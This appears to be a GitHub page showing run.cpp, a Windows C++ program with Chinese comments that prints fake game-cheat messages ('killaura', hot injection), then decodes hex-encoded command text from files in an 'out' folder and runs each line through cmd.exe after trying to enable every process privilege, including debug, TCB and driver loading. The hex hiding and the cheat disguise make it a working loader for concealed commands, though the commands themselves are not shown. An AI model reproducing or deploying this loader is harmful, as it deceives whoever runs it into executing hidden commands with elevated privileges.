-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathrun.cpp
More file actions
323 lines (265 loc) · 7.55 KB
/
run.cpp
File metadata and controls
323 lines (265 loc) · 7.55 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
#include <iostream>
#include <fstream>
#include <string>
#include <vector>
#include <sstream>
#include <algorithm>
#include <filesystem>
#include <cstdlib>
#include <cstring>
#include <windows.h>
#include <shellapi.h>
#include <thread>
#include <chrono>
using namespace std::chrono_literals;
// 定义RtlGetVersion函数
typedef LONG (WINAPI *RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
// 获取Windows Build版本(使用RtlGetVersion)
std::string getWindowsBuild() {
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
if (hNtdll) {
RtlGetVersionPtr RtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hNtdll, "RtlGetVersion");
if (RtlGetVersion) {
RTL_OSVERSIONINFOW osVersion = {0};
osVersion.dwOSVersionInfoSize = sizeof(osVersion);
if (RtlGetVersion(&osVersion) == 0) { // STATUS_SUCCESS
return std::to_string(osVersion.dwBuildNumber);
}
}
}
return "未知";
}
// 密码验证和交互式界面
bool verifyPasswordWithInteraction() {
std::cout << "输入y继续" << std::endl;
std::cout << "Type Here: ";
std::string inputPassword;
std::getline(std::cin, inputPassword);
const std::string correctPassword = "y";
if (inputPassword != correctPassword) {
std::cout << "即将退出!" << std::endl;
return false;
}
// 交互式输出
std::cout << "\n验证通过!" << std::endl;
std::this_thread::sleep_for(100ms);
std::cout << "正在加载配置..." << std::endl;
std::this_thread::sleep_for(100ms);
std::cout << "正在准备脱盒..." << std::endl;
std::this_thread::sleep_for(100ms);
std::cout << "正在准备热注入..." << std::endl;
std::this_thread::sleep_for(100ms);
std::cout << "已打开:killaura" << std::endl;
std::this_thread::sleep_for(100ms);
std::string build = getWindowsBuild();
std::cout << "killaura:检测到敌人 名称 Windows Build :" << build << std::endl;
std::this_thread::sleep_for(100ms);
std::cout << "即将kill..." << std::endl;
std::this_thread::sleep_for(100ms);
std::cout << "\n开始执行命令..." << std::endl;
std::this_thread::sleep_for(200ms);
return true;
}
// 从16进制字符串还原为原始字符串
std::string hexToString(const std::string& hex) {
std::string result;
if (hex.length() % 2 != 0) {
return result;
}
for (size_t i = 0; i < hex.length(); i += 2) {
std::string byteString = hex.substr(i, 2);
try {
char byte = static_cast<char>(std::stoi(byteString, nullptr, 16));
result += byte;
} catch (...) {
return "";
}
}
return result;
}
// 加载文件
std::vector<std::string> loadHexFiles(const std::string& directory) {
std::vector<std::string> hexContents;
std::vector<std::string> filePaths;
try {
for (const auto& entry : std::filesystem::directory_iterator(directory)) {
if (entry.is_regular_file()) {
filePaths.push_back(entry.path().string());
}
}
std::sort(filePaths.begin(), filePaths.end());
for (const auto& filePath : filePaths) {
std::ifstream file(filePath, std::ios::binary);
if (file.is_open()) {
std::stringstream buffer;
buffer << file.rdbuf();
hexContents.push_back(buffer.str());
file.close();
}
}
} catch (...) {
return std::vector<std::string>();
}
return hexContents;
}
// 分割命令为单独行
std::vector<std::string> splitCommandsByLine(const std::string& commandText) {
std::vector<std::string> commands;
std::stringstream ss(commandText);
std::string line;
while (std::getline(ss, line)) {
line.erase(0, line.find_first_not_of(" \t\r\n"));
line.erase(line.find_last_not_of(" \t\r\n") + 1);
if (!line.empty() && line[0] != '#') {
commands.push_back(line);
}
}
return commands;
}
// 获取所有特权
DWORD GetAllPrivilege(PHANDLE pToken) {
DWORD dwErr = 0;
if (!pToken) {
return ERROR_INVALID_HANDLE;
}
LPCWSTR lpAllPrivilege[] = {
L"SeIncreaseQuotaPrivilege",
L"SeSecurityPrivilege",
L"SeTakeOwnershipPrivilege",
L"SeLoadDriverPrivilege",
L"SeSystemProfilePrivilege",
L"SeSystemtimePrivilege",
L"SeProfileSingleProcessPrivilege",
L"SeIncreaseBasePriorityPrivilege",
L"SeCreatePagefilePrivilege",
L"SeBackupPrivilege",
L"SeRestorePrivilege",
L"SeShutdownPrivilege",
L"SeDebugPrivilege",
L"SeSystemEnvironmentPrivilege",
L"SeChangeNotifyPrivilege",
L"SeRemoteShutdownPrivilege",
L"SeUndockPrivilege",
L"SeManageVolumePrivilege",
L"SeImpersonatePrivilege",
L"SeCreateGlobalPrivilege",
L"SeIncreaseWorkingSetPrivilege",
L"SeTimeZonePrivilege",
L"SeCreateSymbolicLinkPrivilege",
L"SeSyncAgentPrivilege",
L"SeCreatePermanentPrivilege",
L"SeTcbPrivilege",
L"SeCreateTokenPrivilege",
L"SeAssignPrimaryTokenPrivilege",
L"SeLockMemoryPrivilege",
L"SeMachineAccountPrivilege",
L"SeAuditPrivilege",
L"SeTrustedCredManAccessPrivilege",
L"SeRelabelPrivilege",
L"SeEnableDelegationPrivilege",
};
int privilegeCount = sizeof(lpAllPrivilege) / sizeof(lpAllPrivilege[0]);
for (int i = 0; i < privilegeCount; ++i) {
LUID Luid;
if (LookupPrivilegeValueW(NULL, lpAllPrivilege[i], &Luid)) {
TOKEN_PRIVILEGES TokenPrivileges;
TokenPrivileges.PrivilegeCount = 1;
TokenPrivileges.Privileges[0].Luid = Luid;
TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(*pToken, FALSE, &TokenPrivileges,
sizeof(TokenPrivileges), NULL, NULL)) {
dwErr = GetLastError();
break;
}
} else {
dwErr = GetLastError();
break;
}
}
return dwErr;
}
// 为当前进程开启所有特权
bool enableAllPrivilegesForProcess() {
HANDLE hToken = NULL;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken)) {
return false;
}
DWORD result = GetAllPrivilege(&hToken);
CloseHandle(hToken);
return result == ERROR_SUCCESS;
}
// 为单条命令创建进程
void createProcessForCommand(const std::string& command) {
if (command.empty()) return;
PROCESS_INFORMATION pi;
STARTUPINFOA si;
ZeroMemory(&si, sizeof(STARTUPINFOA));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
si.cb = sizeof(STARTUPINFOA);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
std::string fullCommand = "cmd.exe /c \"" + command + "\"";
char* cmdLine = new char[fullCommand.length() + 1];
strcpy(cmdLine, fullCommand.c_str());
CreateProcessA(
NULL,
cmdLine,
NULL,
NULL,
FALSE,
CREATE_NEW_CONSOLE | CREATE_NEW_PROCESS_GROUP,
NULL,
NULL,
&si,
&pi
);
delete[] cmdLine;
if (pi.hProcess) CloseHandle(pi.hProcess);
if (pi.hThread) CloseHandle(pi.hThread);
}
// 同时为所有命令创建进程
void executeAllCommands(const std::vector<std::string>& commands) {
// 为当前进程启用所有特权
enableAllPrivilegesForProcess();
// 为每条命令同时创建进程
for (const auto& command : commands) {
createProcessForCommand(command);
}
}
int main() {
// 密码验证和交互式界面
if (!verifyPasswordWithInteraction()) {
return 1;
}
// 检查目录
if (!std::filesystem::exists("out")) {
return 1;
}
// 加载文件
auto hexBlocks = loadHexFiles("out");
if (hexBlocks.empty()) {
return 1;
}
// 合并16进制数据
std::string combinedHex;
for (const auto& block : hexBlocks) {
combinedHex += block;
}
// 还原命令
std::string commandText = hexToString(combinedHex);
if (commandText.empty()) {
return 1;
}
// 分割命令
auto commands = splitCommandsByLine(commandText);
if (commands.empty()) {
return 1;
}
std::this_thread::sleep_for(100ms);
// 同时为所有命令创建进程
executeAllCommands(commands);
std::this_thread::sleep_for(500ms);
return 0;
}